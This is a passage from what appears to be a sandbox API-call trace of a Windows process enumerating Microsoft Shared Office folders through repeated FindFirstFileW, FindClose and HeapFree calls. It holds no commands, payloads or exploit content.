dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.117] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.117] GetProcessHeap () returned 0x560000 [0219.117] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.118] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.118] GetProcessHeap () returned 0x560000 [0219.118] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.119] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.119] GetProcessHeap () returned 0x560000 [0219.119] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.119] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.120] GetProcessHeap () returned 0x560000 [0219.120] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.120] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.120] GetProcessHeap () returned 0x560000 [0219.120] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.121] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.121] GetProcessHeap () returned 0x560000 [0219.121] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.121] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.122] GetProcessHeap () returned 0x560000 [0219.122] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.122] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.122] GetProcessHeap () returned 0x560000 [0219.122] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.515] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.515] GetProcessHeap () returned 0x560000 [0219.515] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.516] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.516] GetProcessHeap () returned 0x560000 [0219.516] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.516] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.517] GetProcessHeap () returned 0x560000 [0219.517] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.517] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.517] GetProcessHeap () returned 0x560000 [0219.517] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.518] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.518] GetProcessHeap () returned 0x560000 [0219.518] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.518] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.518] GetProcessHeap () returned 0x560000 [0219.518] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0219.518] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.518] GetProcessHeap () returned 0x560000 [0219.519] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.527] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.529] GetProcessHeap () returned 0x560000 [0219.529] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.530] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.530] GetProcessHeap () returned 0x560000 [0219.530] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0219.780] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.780] GetProcessHeap () returned 0x560000 [0219.780] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0219.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.783] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.783] GetProcessHeap () returned 0x560000 [0219.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.784] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.784] GetProcessHeap () returned 0x560000 [0219.784] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.784] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.784] GetProcessHeap () returned 0x560000 [0219.784] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.791] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.791] GetProcessHeap () returned 0x560000 [0219.791] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.801] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.804] GetProcessHeap () returned 0x560000 [0219.804] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0219.809] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.810] GetProcessHeap () returned 0x560000 [0219.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.810] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.810] GetProcessHeap () returned 0x560000 [0219.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0219.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.539] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.540] GetProcessHeap () returned 0x560000 [0220.540] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.540] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.540] GetProcessHeap () returned 0x560000 [0220.540] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.541] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.541] GetProcessHeap () returned 0x560000 [0220.541] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.542] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.542] GetProcessHeap () returned 0x560000 [0220.542] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.542] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.543] GetProcessHeap () returned 0x560000 [0220.543] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.543] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.543] GetProcessHeap () returned 0x560000 [0220.543] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, 